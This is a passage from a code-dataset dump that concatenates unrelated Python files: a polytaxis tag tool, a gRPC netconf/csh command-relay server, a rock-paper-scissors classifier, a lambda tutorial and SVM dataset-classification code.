add_sub(\n 'extract',\n description='Export polytaxis header-less versions of files.',\n )\n parser_extract.add_argument(\n 'directory',\n help='Expored files will be placed in this directory.',\n )\n for sub in subparsers_list:\n sub.add_argument(\n 'files',\n help='Files to convert.',\n nargs='+',\n )\n sub.add_argument(\n '-n',\n '--dryrun',\n help='Print result tags but don\\'t save them.',\n action='store_true',\n )\n sub.add_argument(\n '-v',\n '--verbose',\n help='Display verbose cleanup information.',\n action='store_true',\n )\n args = parser.parse_args()\n\n if args.action == 'extract':\n unwrap_root = os.path.join(\n appdirs.user_data_dir('polytaxis-unwrap', 'zarbosoft'),\n 'mount',\n )\n if not os.path.isdir(unwrap_root):\n raise RuntimeError('polytaxis-unwrap mount directory doesn\\'t exist. To extract files, make sure polytaxis-unwrap is running.')\n\n modify_headers = [\n 'lowercase',\n 'uppercase',\n 'replacekey',\n ]\n\n for filename in args.files:\n if os.path.isdir(filename):\n sys.stderr.write(\n 'File [{}] must be a regular file, but it is a directory. Skipping.\\n'.format(\n filename,\n )\n )\n\n tags = polytaxis.get_tags(filename)\n if not tags:\n sys.stderr.write(\n 'File [{}] doesn\\'t have a polytaxis header. Skipping.\\n'.format(\n filename\n )\n )\n return\n\n if args.action in modify_headers:\n if args.action == 'lowercase':\n temp = {\n key.lower(): values for key, values in tags.items()\n }\n tags = temp\n elif args.action == 'uppercase':\n temp = {\n key.upper(): values for key, values in tags.items()\n }\n tags = temp\n elif args.action == 'replacekey':\n temp = {\n args.replacement if key == args.match else key: values\n for key, values in tags.items()\n }\n tags = temp\n\n if args.dryrun or args.verbose:\n print('Final tags for [{}]:'.format(filename))\n print(polytaxis.encode_tags(tags).decode('utf-8'))\n\n if not args.dryrun:\n polytaxis.set_tags(filename, tags)\n\n elif args.action == 'extract':\n new_name = filename\n if new_name.endswith('.p'):\n new_name = new_name[:-2]\n if not args.directory.endswith(os.path.sep):\n args.directory += os.path.sep\n from_path = os.path.join(\n unwrap_root,\n os.path.abspath(filename)[1:],\n )\n to_path = os.path.join(args.directory, new_name)\n if args.dryrun or args.verbose:\n print('Extracting [{}] to [{}]...'.format(from_path, to_path))\n if not args.dryrun:\n shutil.copy(from_path, to_path)\n\nif __name__ == '__main__':\n main()\n","repo_name":"rendaw/polytaxis-utils","sub_path":"polytaxis_cleanup/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25569851834","text":"matrix_string = \"7iiTsxh%?i #sM $a #t%^r!\"\nalphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz! '\nmatrix = []\nnew_matrix = []\ndescription = \"\"\nmatrix_string = matrix_string.replace(\"$\", \" \")\ndef bulding_matrix(matrix_string):\n num_rows = 8\n num_columns = 3\n count = 0\n for i in range(num_rows):\n row = []\n for j in range(num_columns):\n element = matrix_string[count]\n row.append(element)\n count +=1\n matrix.append(row)\n for j in range(num_columns):\n for i in range(num_rows):\n element = matrix[i][j]\n if matrix[i][j] in alphabet:\n new_matrix.append(element)\n description =\"\".join(new_matrix)\n description = description.replace(\" \", \"\")\n return description\nprint(bulding_matrix(matrix_string))","repo_name":"technoben98/DI-Bootcamp","sub_path":"Week2/Day4/DailyChallenge/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19608954503","text":"\"\"\"This is test gRPC server implemented to test the gRPC client\"\"\"\n\nfrom __future__ import print_function\nfrom concurrent import futures\nimport time\nimport math\nimport logging\nimport sys\nimport os,socket,json\nimport argparse\nimport signal\n\nimport grpc\nimport subprocess\nimport select\nimport threading\n\nimport jnx_netconf_service_pb2 as nc_grpc_pb2\nimport jnx_netconf_service_pb2_grpc as nc_grpc_pb2_grpc\n\n# global space\nclient_list = {}\nclient_list_detail = {}\nconnections = {}\nserver = None\n\nkeys_location = os.path.dirname(os.path.realpath(sys.argv[0]))\n\n#Create and configure logger\nlogFormatter = logging.Formatter(\"%(asctime)s [%(levelname)-5.5s] %(message)s\")\nlogger = logging.getLogger('nc_grpc_server')\n\nfileHandler = logging.FileHandler(keys_location + '/nc_grpc_server.log')\nfileHandler.setFormatter(logFormatter)\nlogger.addHandler(fileHandler)\n\nconsoleHandler = logging.StreamHandler(sys.stdout)\nconsoleHandler.setFormatter(logFormatter)\nlogger.addHandler(consoleHandler)\nlogger.setLevel(logging.DEBUG)\n\n\ndef daemonize():\n \"\"\"Deamonize class. UNIX double fork mechanism.\"\"\"\n global keys_location\n logger.info(keys_location)\n\n try:\n pid = os.fork()\n if pid > 0:\n # exit first parent\n sys.exit(0)\n except OSError as err:\n sys.stderr.write('fork #1 failed: {0}\\n'.format(err))\n sys.exit(1)\n\n\n logger.info(\"First parent process is exited\")\n\n # decouple from parent environment\n os.chdir('/')\n os.setsid()\n os.umask(0)\n\n # do second fork\n try:\n pid = os.fork()\n if pid > 0:\n # exit from second parent\n sys.exit(0)\n except OSError as err:\n sys.stderr.write('fork #2 failed: {0}\\n'.format(err))\n sys.exit(1)\n\n logger.info(\"Second parent process is exited\")\n\n # redirect standard file descriptors\n sys.stdout.flush()\n sys.stderr.flush()\n si = open(os.devnull, 'r')\n so = open(os.devnull, 'a+')\n se = open(os.devnull, 'a+')\n\n os.dup2(si.fileno(), sys.stdin.fileno())\n os.dup2(so.fileno(), sys.stdout.fileno())\n os.dup2(se.fileno(), sys.stderr.fileno())\n\n logger.info(\"File descriptors redirection completed\")\n\n\ndef close_socket(listen_s):\n try:\n listen_s.shutdown()\n except:\n pass\n try:\n listen_s.close()\n except:\n pass\n\n\nclass UserInputTimeoutError(Exception):\n pass\n\ndef print_data(request_iterator, c):\n try:\n logger.info(\"print_data: Inside print data thread\")\n prev_message = []\n logger.info(\"print_data: Entered the simultaneous thread print data\")\n for request_point in request_iterator:\n logger.info(\"print_data: Inside request iterator\")\n logger.info(str(request_point.message).rstrip())\n try:\n c.send((str(request_point.message).rstrip()).encode())\n except:\n pass\n prev_message.append(str(request_point.message).rstrip())\n if (str(request_point.message).rstrip()).startswith('client is stopping,'):\n logger.info(\"*****print statement breaking******\")\n return\n except:\n c.send((\"client is stopping,\").encode())\n logger.info(\"*********************client connection lost*********************\")\n return\n\n\nclass Ncgrpc(nc_grpc_pb2_grpc.NcgrpcServicer):\n \"\"\"Provides methods that implement functionality of NetconfRpc server.\"\"\"\n\n def __init__(self):\n logger.info(\"***************************Constructor called, Ncgrpc class constructed*************************************\")\n\n def __del__(self):\n logger.info(\"Destructor called, Ncgrpc deleted.\")\n\n def NcgrpcServerStatusGet(self, request, context):\n logger.info(\"is server running rpc called\")\n return nc_grpc_pb2.NcgrpcServerStatusGetResponse(\n status = 1\n )\n\n def NcgrpcCommandGet(self, request_iterator, context):\n global connections\n\n meta_dict = {}\n\n for key, value in context.invocation_metadata():\n logger.info('Received initial metadata: key={} value={}'.format(key, value))\n meta_dict.update({key:value})\n\n conn = connections[context.peer()]\n session_type_self = meta_dict[\"conn_type\"]\n\n\n\n t1 = threading.Thread(target=print_data, args=(request_iterator,conn,))\n t1.start()\n\n while True:\n data_r = conn.recv(1024)\n logger.info(data_r)\n logger.info(\"Data received from request session \")\n if session_type_self == \"netconf\":\n if not (t1.isAlive()):\n logger.info(\"NcgrpcCommandGet: Other thread is closed\")\n break\n if data_r.decode().strip() == \"\":\n logger.info(\"NcgrpcCommandGet: Request session script closed\")\n yield nc_grpc_pb2.NcgrpcCommandGetResponse(\n netconf_command = \"<>\",\n kill_signal = 2)\n t1.join()\n break\n logger.info(data_r.decode())\n\n cmd_new = str(data_r.decode().strip())\n yield nc_grpc_pb2.NcgrpcCommandGetResponse(\n netconf_command = cmd_new,\n kill_signal = 0)\n # if cmd_new == \"<>\":\n # t1.join()\n # break\n\n elif session_type_self == \"csh\":\n if not (t1.isAlive()):\n logger.info(\"NcgrpcCommandGet: Other thread is closed\")\n break\n\n if data_r.decode().strip() == \"\":\n logger.info(\"NcgrpcCommandGet: Request session script closed\")\n yield nc_grpc_pb2.NcgrpcCommandGetResponse(\n csh_command = \"exit\",\n kill_signal = 2)\n t1.join()\n break\n\n logger.info(data_r.decode())\n\n cmd_new = str(data_r.decode().strip())\n yield nc_grpc_pb2.NcgrpcCommandGetResponse(\n csh_command = cmd_new,\n kill_signal = 0)\n # The below code is commented unlike in netconf case, as one \n # should not close the session based on exit statement during csh mode\n # if cmd_new == \"exit\":\n # t1.join()\n # break\n\n connections.pop(context.peer())\n logger.info(\"****************** Good Bye*****RPC Ended ********************\")\n\n def NcgrpcInitialize(self, request, context):\n global client_list\n global connections\n global client_list_detail\n global keys_location\n message_auth = request.device_id\n grpc_app_id = request.instance_id\n secret_key = request.secret_key\n logger.info(type(message_auth))\n logger.info(message_auth)\n client_name = message_auth\n\n for key, value in context.invocation_metadata():\n logger.info(\"NcgrpcInitialize: Received initial metadata(Initial handshake): key={} value={}\".format(key, value))\n\n if client_name not in client_list_detail.keys() or (client_name in client_list_detail.keys() and grpc_app_id != client_list_detail[client_name][3]):\n logger.info(\"NcgrpcInitialize: Client is restarted or a new client is trying to connect\")\n listen_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n listen_s.bind(('localhost', 0))\n listen_s.listen()\n port = listen_s.getsockname()[1]\n port_str = str(port)\n data = {client_name: [port_str, listen_s, 1, grpc_app_id]}\n if client_name in client_list_detail.keys():\n close_socket(client_list_detail[client_name][1])\n client_list_detail.update(data)\n data = {client_name: port_str}\n client_list.update(data)\n with open(keys_location + '/server_data.json', 'w+') as outfile:\n json.dump(client_list, outfile)\n else:\n listen_s = client_list_detail[client_name][1]\n port = int(client_list_detail[client_name][0])\n port_str = str(port)\n client_list_detail[client_name][2] = client_list_detail[client_name][2] +1\n logger.info(\"NcgrpcInitialize: else statement executed properly\")\n\n\n logger.info(\"Listenning\")\n while True:\n c, addr = listen_s.accept()\n logger.info(\"Connection received\")\n first_message = c.recv(1024)\n\n logger.info(\"Initial hand shake completed and the client is trusted\")\n rep_mes = str(first_message.decode().strip())\n logger.info(rep_mes)\n index = rep_mes.find(':')\n secret_key_from_script = rep_mes[index+1:]\n rep_mes = rep_mes[0:index]\n if secret_key == secret_key_from_script:\n c.send((\"correct secret key\").encode())\n break\n else:\n c.send((\"wrong secret key\").encode())\n\n context.set_trailing_metadata((\n ('port', port_str),\n ('conn_type', rep_mes),\n ))\n logger.info(connections)\n connections.update({context.peer():c})\n logger.info(connections)\n logger.info(\"Going to return value from initial handshake\")\n try:\n if rep_mes == \"netconf\":\n return nc_grpc_pb2.NcgrpcInitializeResponse(\n session_type = 0\n )\n elif rep_mes == \"csh\":\n return nc_grpc_pb2.NcgrpcInitializeResponse(\n session_type = 1\n )\n except:\n try:\n listen_s.shutdown()\n except:\n pass\n try:\n listen_s.close()\n except:\n pass\n\n\ndef serve():\n logger.info(\"Serve function is called\")\n global port\n global server\n global keys_location\n server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n nc_grpc_pb2_grpc.add_NcgrpcServicer_to_server(\n Ncgrpc(), server)\n\n logger.info(\"Server object is created\")\n\n with open(keys_location + '/server.key', 'rb') as f:\n private_key = f.read()\n with open(keys_location + '/server.crt', 'rb') as f:\n certificate_chain = f.read()\n\n logger.info(\"Read the certificates\")\n server_credentials = grpc.ssl_server_credentials(((private_key, certificate_chain,),))\n server.add_secure_port('[::]:' + port, server_credentials)\n\n server.start()\n logger.info(\"Server started\")\n server.wait_for_termination()\n\n\ndef signal_handler(sig, frame):\n global server\n global keys_location\n\n logger.info(\"Entered into signal_handler\")\n if server != None:\n server.stop(1)\n logger.info(\"Stopping the grpc server gracefully\")\n pid = os.getpid()\n try:\n os.remove(keys_location + \"/server_data.json\")\n except:\n pass\n os.kill(pid, signal.SIGKILL)\n\n\nif __name__ == '__main__':\n signal.signal(signal.SIGINT, signal_handler)\n signal.signal(signal.SIGQUIT, signal_handler)\n signal.signal(signal.SIGTERM, signal_handler)\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-p', '--port', help='client port',\n required=True)\n args = parser.parse_args()\n port = args.port\n daemonize()\n serve()\n","repo_name":"krish1996sk/imp_codes","sub_path":"nc_grpc_server.py","file_name":"nc_grpc_server.py","file_ext":"py","file_size_in_byte":11451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70459879400","text":"'''\noutputs (if uncommented):\n\ntraining RandomForestClassifier\nrandom forest train score: 0.46760831532365954\nrandom forest test score: 0.3773831287542439\ntraining CatBoostClassifier\ncatboost score on train: 0.3360090562930946\ncatboost score on test: 0.3384695743013842\ntraining KNeighborsClassifier\nK neighbours score on train: 0.4161006483482556\nK neighbours on test: 0.36124314442413163\nretraining RandomForestClassifier\nrandom forest train score: 0.45294329525573734\nrandom forest test score: 0.3945677722642988\n'''\n\n# ignore future warnings\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\n# joblib to save the model\nimport joblib\n\n# ML imports\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split, RandomizedSearchCV\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom catboost import CatBoostClassifier\n\n# load rock paper scissors game history data\ndf = pd.read_csv('../data/rock_paper.csv')\n\n# store last 5 turns by player 1 in separate columns\nfor i in range(1,6):\n df[f'p1_-{i}'] = df.groupby('game_id')['player_one_throw'].shift(i)\n\n# check what player two threw last, which gets a column\ndf['p2_last'] = df.groupby('game_id')['player_two_throw'].shift(i)\n\n# make df['y'] the *next* throw - for test\ndf['y'] = df.groupby('game_id')['player_one_throw'].shift(-1)\n\n# drop player_two_throw:\n# a move thrown at same time as Player 1 does not have any effect\n# on what Player 1 played that turn\ndf.drop('player_two_throw', axis=1, inplace=True)\n\n# drop game_id and game_round_id\n# because we used them as much as we needed to\ndf.drop('game_id', inplace=True, axis=1)\ndf.drop('game_round_id', inplace=True, axis=1)\n\n# drop any rows with missing values\ndf.dropna(inplace=True)\n\n# store target values separately\ny = df['y'].copy()\ndf.drop('y', inplace=True, axis=1)\n\n# renumber index rows to prevent our model from learning from those\ndf.index = (range(0, len(df)))\n\n# train test split\nX_train, X_test, y_train, y_test = train_test_split(df, y, test_size=0.33, random_state=42)\n\n# RANDOM FORESTS\n# rf = RandomForestClassifier()\n# print(\"training RandomForestClassifier\")\n# rf.fit(X_train, y_train)\n# print('random forest train score: ', rf.score(X_train, y_train))\n# print('random forest test score: ', rf.score(X_test, y_test))\n\n# CATBOOST\n# cb = CatBoostClassifier()\n# print(\"training CatBoostClassifier\")\n# cb.fit(X_train, y_train, plot=False, logging_level='Silent')\n# print('catboost score on train: ', cb.score(X_train, y_train))\n# print('catboost score on test: ', cb.score(X_test, y_test))\n\n# KNeighbors\n# kn = KNeighborsClassifier()\n# print(\"training KNeighborsClassifier\")\n# kn.fit(X_train, y_train)\n# print('K neighbours score on train: ', kn.score(X_train, y_train))\n# print('K neighbours on test: ', kn.score(X_test, y_test))\n\n# defining variables for CrossValidation\n# n_estimators = [int(x) for x in np.linspace(start = 200, stop = 2000, num = 10)]\n# max_depth = [int(x) for x in np.linspace(10, 110, num = 11)]\n# bootstrap = [True, False]\n# random_grid = {'n_estimators': n_estimators,\n# 'max_depth': max_depth,\n# 'bootstrap': bootstrap}\n#\n# rf_random = RandomizedSearchCV(estimator = rf,\n# param_distributions = random_grid,\n# n_iter = 50,\n# cv = 3,\n# verbose=2,\n# random_state=42)\n\n# commented out to save time on next run\n# rf_random.fit(X_train, y_train)\n\n# but these were the results:\n# {'n_estimators': 800, 'max_depth': 10, 'bootstrap': False}\n# rf_random.best_params_\n\n# RANDOM FORESTS REDUX\n# increases score to 39.5% from ~37%\nrf = RandomForestClassifier(n_estimators=800,\n max_depth=10,\n bootstrap=False)\nprint(\"retraining RandomForestClassifier\")\nrf.fit(X_train, y_train)\nprint('random forest train score: ', rf.score(X_train, y_train))\nprint('random forest test score: ', rf.score(X_test, y_test))\n\nprint(\"saving model to rock_paper_forests.joblib\")\njoblib.dump(rf, 'rock_paper_forests.joblib')\n\n# print(\"saving clean dataframe\")\n# df.to_csv('../data/rock_paper_clean.csv', index=False)\n","repo_name":"kfrncs/bot_paper_scissors","sub_path":"bots/bot_paper_scissors.py","file_name":"bot_paper_scissors.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28626076432","text":"numbers = [11, 13, 27, 15, 12, 49, 35] # List\n\ndef squre(x):\n return x * x\nprint(squre(5))\n\n# squre2 funciton do the same thing what squre() does above\nsqure2 = lambda x: x * x\nprint(squre2(9))\n\n# Usage of 'lambda' using 'map' | 'map' iterate through the numbers 'list' and return the values by doubling them\ndoubled = map(lambda x: x * 2, numbers)\nprint(list(doubled)) # print the numbers list by doubling each of the elements -> [22, 26, 54, 30, 24, 98, 70]\n\n# Usage of 'lambda' using 'filter' | 'filter' iterate through the numbers 'list' and return the values that are greather than 20\ngreater_than_20 = filter(lambda x: x > 20, numbers)\nprint(list(greater_than_20)) # print -> [27, 49, 35]\n\n# A real world example of 'filter' and 'lambda'\nplayers = [\n {'Name' : 'Shakib', 'Age' : 35},\n {'Name' : 'Tamim', 'Age' : 37},\n {'Name' : 'Mushfiq', 'Age' : 34},\n {'Name' : 'Mashrafi', 'Age' : 39},\n {'Name' : 'Miraz', 'Age' : 25},\n]\n\nsenior_players = filter(lambda player: player['Age'] > 35, players)\nprint(list(senior_players)) # print -> [{'Name': 'Tamim', 'Age': 37}, {'Name': 'Mashrafi', 'Age': 39}]\n\njunior_players = filter(lambda player: player['Age'] < 35, players)\nprint(list(junior_players)) # print -> [{'Name': 'Mushfiq', 'Age': 34}, {'Name': 'Miraz', 'Age': 25}]","repo_name":"sisrafilss/cse-fundamentals-lectures","sub_path":"OOP & Python Programming and Problem Solving Part - IV/Module 05 List, Set, Dictionary and Tuples/lamda.py","file_name":"lamda.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16193063291","text":"\n# metaDatasetGenerator imports\nfrom core.config import cfg, cfgData, createFilenameID, createPathRepeat, createPathSetID\nfrom datasets.imdb import imdb\n\n# 'other' imports\nimport pickle\nimport numpy as np\nimport numpy.random as npr\nimport os.path as osp\n\nimport matplotlib\nmatplotlib.use(\"Agg\")\n\nfrom core.config import cfg, cfg_from_file, cfg_from_list, get_output_dir, loadDatasetIndexDict,iconicImagesFileFormat\nfrom datasets.factory import get_repo_imdb\nfrom datasets.ds_utils import load_mixture_set,print_each_size,computeTotalAnnosFromAnnoCount,cropImageToAnnoRegion,roidbSampleHOG,roidbSampleImage,roidbSampleImageHOG\nimport os.path as osp\nimport datasets.imdb\nimport argparse\nimport pprint\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys,os,cv2,pickle,uuid\n# pytorch imports\nfrom datasets.pytorch_roidb_loader import RoidbDataset\nfrom numpy import transpose as npt\nfrom ntd.hog_svm import plot_confusion_matrix, extract_pyroidb_features,appendHOGtoRoidb,split_data, scale_data,train_SVM,findMaxRegions, make_confusion_matrix,appendHOGtoRoidbDict,split_tr_te_data\nfrom utils.misc import *\n\ndef train_model(model, criterion, optimizer, scheduler, num_epochs=25):\n since = time.time()\n\n best_model_wts = copy.deepcopy(model.state_dict())\n best_acc = 0.0\n\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1))\n print('-' * 10)\n\n # Each epoch has a training and validation phase\n for phase in ['train', 'val']:\n if phase == 'train':\n scheduler.step()\n model.train(True) # Set model to training mode\n else:\n model.train(False) # Set model to evaluate mode\n\n running_loss = 0.0\n running_corrects = 0\n\n # Iterate over data.\n for data in dataloaders[phase]:\n # get the inputs\n inputs, labels = data\n\n # wrap them in Variable\n if use_gpu:\n inputs = Variable(inputs.cuda())\n labels = Variable(labels.cuda())\n else:\n inputs, labels = Variable(inputs), Variable(labels)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward\n outputs = model(inputs)\n _, preds = torch.max(outputs.data, 1)\n loss = criterion(outputs, labels)\n\n # backward + optimize only if in training phase\n if phase == 'train':\n loss.backward()\n optimizer.step()\n\n # statistics\n running_loss += loss.data[0] * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n\n epoch_loss = running_loss / dataset_sizes[phase]\n epoch_acc = running_corrects / dataset_sizes[phase]\n\n print('{} Loss: {:.4f} Acc: {:.4f}'.format(\n phase, epoch_loss, epoch_acc))\n\n # deep copy the model\n if phase == 'val' and epoch_acc > best_acc:\n best_acc = epoch_acc\n best_model_wts = copy.deepcopy(model.state_dict())\n\n\n\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(\n time_elapsed // 60, time_elapsed % 60))\n print('Best val Acc: {:4f}'.format(best_acc))\n\n # load best model weights\n model.load_state_dict(best_model_wts)\n return model\n\n\n\ndef roidbToFeatures(roidb,pyloader=roidbSampleHOG,calcHog=False,roidbSizes=None):\n pyroidb = RoidbDataset(roidb,[0,1,2,3,4,5,6,7],\n loader=pyloader,\n transform=None)\n if roidbSizes is not None:\n pyroidb.roidbSizes = np.arange(len(roidb)) + 1\n l_feat,l_idx,y = extract_pyroidb_features(pyroidb, 'hog', cfg.clsToSet, calc_feat = calcHog, \\\n spatial_size=(32, 32),hist_bins=32, \\\n orient=9, pix_per_cell=8, cell_per_block=2, \\\n hog_channel=0)\n return l_feat,l_idx,y\n\ndef mangleTestingData(l_feat_te,l_idx_te,y_te,X_test,y_test,X_idx):\n \n \"\"\"\n Goal: to replace the indicies with setIDs associated with the datasets in the\n \"test\" section of the mixed dataset from the \"train\" to the \"test\" features\n\n testIndex: the index from the \n yIndicies: a python dictionary; {\"setID\": list of indicies associated with the set; the indicies are the location of a sample from the set in the original testing set X_test}\n -> an element in the list gives index of the next \"setID\" in the current testing data\n ->\n l_feat_te: a list of hog features. \n -> axis=0 is datasets\n -> axis=1 is hog features for a specific dataset\n -> lengths across axis=1 varies\n y_te: a list of setIDs from the \"testing\" section of the mixed dataset\n l_idx_te: locations of the sample in the original roidb\n -> axis=0 is datasets\n -> axis=1 is the sample location \n\n idx: what use the \"idx\" from across the y_te?\n\n **error case**: if the # of training examples loaded in y_test > available # of testing\n -> shouldn't happend since the test/train split comes originally from a training set (at least) x2 the testing size\n \"\"\"\n\n print(len(y_te))\n print(len(l_idx_te))\n print(len(l_feat_te))\n for i in range(8):\n print(len(l_idx_te[i]))\n print(len(l_feat_te[i]))\n\n # replace the X_test for each match of y_test\n yIndicies = {}\n dsIndicies = [ 0 for _ in range(len(l_idx_te)) ]\n for setID in y_te:\n if setID not in yIndicies.keys():\n yIndicies[setID] = list(np.where(y_test == setID)[0]) # find where the setID's are\n print(\"{}: {}\".format(setID,len(yIndicies[setID])))\n if len(yIndicies[setID]) == 0: continue\n dsIdx = dsIndicies[setID] # index for l_feat_te\n testIndex = yIndicies[setID][0] # index for x_test\n X_test[testIndex] = l_feat_te[setID][dsIdx] # replace sample content\n X_idx[testIndex] = {\"idx\":int(l_idx_te[setID][dsIdx]),\"split\":\"test\"} # replace the lookup\n dsIndicies[setID] += 1 # incriment\n yIndicies[setID].remove(testIndex) # \"incriment\" index by removing element\n print(dsIndicies)\n \ndef roidbToSVMData(roidbTr,roidbTe,train_size,test_size,loaderSettings):\n ds_feat_tr,l_idx_tr,y_tr = roidbToFeatures(roidbTr,pyloader=loaderSettings['pyloader'],\n calcHog=loaderSettings['calcHog'],\n roidbSizes=loaderSettings['roidbSizes'])\n \n \"\"\"\n X_train, X_test, y_train, y_test, X_idx = split_data(train_size, test_size, \\\n l_feat_tr,l_idx_tr, y_tr,\\\n loaderSettings['dsHasTest'])\n \"\"\"\n ds_feat_te,l_idx_te,y_te = roidbToFeatures(roidbTe,pyloader=loaderSettings['pyloader'],\n calcHog=loaderSettings['calcHog'],\n roidbSizes=loaderSettings[\"roidbSizes\"])\n X_train, X_test, y_train, y_test, testing_idx = split_tr_te_data(ds_feat_tr,l_idx_tr,y_tr,\n ds_feat_te,l_idx_te,y_te,\n train_size, test_size,\n loaderSettings['dsHasTest'])\n\n print(\"-=-=- training dataset counts -=-=-\")\n for idx,feat in enumerate(ds_feat_tr):\n print(\"{}: {}, {}\".format(cfg.DATASET_NAMES_ORDERED[idx],len(feat),np.sum(y_train==idx)))\n print(\"-=-=- testing dataset counts -=-=-\")\n for idx,feat in enumerate(ds_feat_te):\n print(\"{}: {}, {}\".format(cfg.DATASET_NAMES_ORDERED[idx],len(feat),np.sum(y_test==idx)))\n\n # this is a work-around for the loading of a \"testing\" mixed dataset... overwrites the original split from the training data\n\n #mangleTestingData(l_feat_te,l_idx_te,y_te,X_test,y_test,testing_idx)\n X_train, X_test = scale_data(X_train, X_test)\n print(X_train.shape)\n print(y_train.shape)\n if X_train.shape[0] != y_train.shape[0]:\n raise ValueError(\"number of examples for x and y are different\")\n return X_train, X_test, y_train, y_test, testing_idx\n \ndef prepareMixedDataset(setID,repeat,size,addHOG=True):\n mixedData = load_mixture_set(setID,repeat,size)\n roidbTrDict,annoCountTr,roidbTrDict1k = mixedData[\"train\"][0],mixedData[\"train\"][1],mixedData[\"train\"][2]\n roidbTeDict,annoCountTe,roidbTeDict1k = mixedData[\"test\"][0],mixedData[\"test\"][1],mixedData['test'][2]\n printRoidbDictImageNamesToTextFile(roidbTrDict,\"train_{}\".format(setID))\n printRoidbDictImageNamesToTextFile(roidbTeDict,\"test_{}\".format(setID))\n # does the dataset have a \"testing\" split?\n \n dsHasTest = [ (i is not None) and (j is not None) for i,j in zip(annoCountTr[size],\n annoCountTe[size]) ]\n # cropped hog image input\n if addHOG:\n appendHOGtoRoidbDict(roidbTrDict,size)\n appendHOGtoRoidbDict(roidbTeDict,size)\n appendHOGtoRoidbDict(roidbTrDict1k,1000)\n appendHOGtoRoidbDict(roidbTeDict1k,1000)\n\n\n print(\"annoCountTr: {}\".format(annoCountTr[size]))\n print(\"annoCountTe: {}\".format(annoCountTe[size]))\n # print_report(roidbTr,annoCountTr,roidbTe,annoCountTe,setID,repeat,size)\n annoSizes = {}\n annoSizes['train'] = annoCountTr\n annoSizes['test'] = annoCountTe\n\n print(\"-=\"*50)\n\n return roidbTrDict,roidbTeDict,roidbTrDict1k,roidbTeDict1k,dsHasTest,annoSizes\n\ndef loadSvmModel(modelParams,dataType,setID,repeat,size,X_train,y_train):\n modelFn = modelParams['modelFn']\n if modelFn is not None:\n model = pickle.load(open(modelFn,\"rb\"))\n else:\n model = train_SVM(X_train,y_train)\n fn = iconicImagesFileFormat().format(\"model{}_svm_{}_{}_{}.pkl\".format(dataType,setID,repeat,size))\n pickle.dump(model,open(fn,\"wb\"))\n print(\" saved model to {}\".format(fn))\n \n print(\"\\n\\n-=- model loaded -=-\\n\\n\")\n return model\n\ndef loadDlModel(modelParams,dataType,setID,repeat,size,X_train,y_train):\n pass\n\ndef genConfCropped(modelParams,roidbTr,roidbTe,ntdGameInfo):\n loaderSettings = {}\n loaderSettings['pyloader'] = roidbSampleHOG\n loaderSettings['calcHog'] = False\n loaderSettings['roidbSizes'] = None\n loaderSettings['dsHasTest'] = ntdGameInfo['dsHasTest'] # todo: kind of gross here\n return genConf(modelParams,\"Cropped\",roidbTr,roidbTe,loaderSettings,ntdGameInfo)\n\ndef genConfRaw(modelParams,roidbTr,roidbTe,ntdGameInfo):\n loaderSettings = {}\n loaderSettings['pyloader'] = roidbSampleImageHOG\n loaderSettings['calcHog'] = False\n loaderSettings['roidbSizes'] = np.arange(len(roidbTr)) + 1\n loaderSettings['dsHasTest'] = ntdGameInfo['dsHasTest'] # todo: kind of gross here\n return genConf(modelParams,\"Raw\",roidbTr,roidbTe,loaderSettings,ntdGameInfo)\n\ndef genConfSVM(modelParams,dataType,roidbTr,roidbTe,loaderSettings,ntdGameInfo):\n X_train, X_test, y_train, y_test, X_idx = roidbToSVMData(roidbTr,roidbTe,\n ntdGameInfo['trainSize'],\n ntdGameInfo['testSize'],\n loaderSettings)\n model = loadSvmModel(modelParams,dataType,ntdGameInfo['setID'],ntdGameInfo['repeat'],\n ntdGameInfo['size'],X_train,y_train)\n print(X_test.shape)\n print(y_test.shape)\n print(\"accuracy on test data {}\".format(model.score(X_test,y_test)))\n print(make_confusion_matrix(model, X_train, y_train, cfg.clsToSet))\n print(\"-\"*50)\n return make_confusion_matrix(model, X_test, y_test, cfg.clsToSet),model\n\ndef genConfDl(modelParams,dataType,roidbTr,roidbTe,loaderSettings,ntdGameInfo):\n X_train, X_test, y_train, y_test, X_idx = roidbToDlData(roidbTr,roidbTe,\n ntdGameInfo['trainSize'],\n ntdGameInfo['testSize'],\n loaderSettings)\n model = loadDlModel(modelParams,dataType,ntdGameInfo['setID'],ntdGameInfo['repeat'],\n ntdGameInfo['size'],X_train,y_train)\n print(\"accuracy on test data {}\".format(model.score(X_test,y_test)))\n return make_confusion_matrix(model, X_test, y_test, cfg.clsToSet),model\n\ndef genConf(modelParams,dataType,roidbTr,roidbTe,loaderSettings,ntdGameInfo):\n modelType = modelParams['modelType']\n if modelType == \"svm\":\n return genConfSVM(modelParams,dataType,roidbTr,roidbTe,loaderSettings,ntdGameInfo)\n elif modelType == \"dl\":\n return genConfDl(modelParams,dataType,roidbTr,roidbTe,loaderSettings,ntdGameInfo)\n else:\n print(\"Uknown model type of {}\".format(modelType))\n return None\n\ndef saveNtdSummaryStats(cmRaw_l,cmCropped_l,cmDiff_l):\n\n import scipy.stats as ss\n\n 